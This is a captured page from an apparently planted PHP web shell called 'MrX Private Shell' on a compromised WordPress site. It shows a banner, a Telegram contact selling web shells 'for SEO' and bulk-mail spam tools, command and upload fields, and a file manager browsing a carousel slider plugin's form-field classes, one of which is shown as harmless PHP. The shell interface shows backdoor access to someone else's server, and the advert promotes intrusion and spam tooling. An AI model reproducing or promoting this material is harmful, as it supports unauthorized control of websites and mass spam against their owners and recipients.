__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace CarouselSlider\Supports\FormFields;

/**
 * Spacing class
 */
class Spacing extends BaseField {

	/**
	 * Render field html
	 *
	 * @inheritDoc
	 */
	public function render(): string {
		$default = (array) $this->get_setting( 'default', [] );
		$value   = (array) $this->get_value();
		$name    = $this->get_name();

		$html       = '';
		$dimensions = [ 'top', 'right', 'bottom', 'left' ];
		foreach ( $dimensions as $dimension ) {
			if ( ! array_key_exists( $dimension, $default ) ) {
				continue;
			}

			$attr_name  = $name . '[' . $dimension . ']';
			$attr_value = $value[ $dimension ] ?? $default[ $dimension ];
			if ( 'top' === $dimension ) {
				$icon_class = 'dashicons dashicons-arrow-up-alt';
			} elseif ( 'bottom' === $dimension ) {
				$icon_class = 'dashicons dashicons-arrow-down-alt';
			} else {
				$icon_class = 'dashicons dashicons-arrow-' . $dimension . '-alt';
			}

			$html .= '<div class="shapla-dimension">';
			$html .= '<span class="add-on"><i class="' . esc_attr( $icon_class ) . '"></i></span>';
			$html .= '<input type="text" name="' . esc_attr( $attr_name ) . '" value="' . esc_attr( $attr_value ) . '">';
			$html .= '</div>';
		}

		return $html;
	}
}

Filemanager

Name Type Size Permission Actions
BaseField.php File 5.86 KB 0775
Breakpoint.php File 3.36 KB 0775
ButtonGroup.php File 1.86 KB 0775
Checkbox.php File 882 B 0775
CheckboxSwitch.php File 887 B 0775
Color.php File 636 B 0775
DataSharing.php File 1.53 KB 0775
Html.php File 310 B 0775
ImageUploader.php File 1.06 KB 0775
ImageUrl.php File 762 B 0775
ImagesGallery.php File 1.49 KB 0775
MultiCheckbox.php File 1.3 KB 0775
Radio.php File 1.41 KB 0775
ResponsiveControl.php File 5.26 KB 0775
Select.php File 1.31 KB 0775
SelectImageSize.php File 347 B 0775
SelectPosts.php File 633 B 0775
SelectTerms.php File 633 B 0775
Spacing.php File 1.18 KB 0775
Text.php File 257 B 0775
Textarea.php File 524 B 0775
Filemanager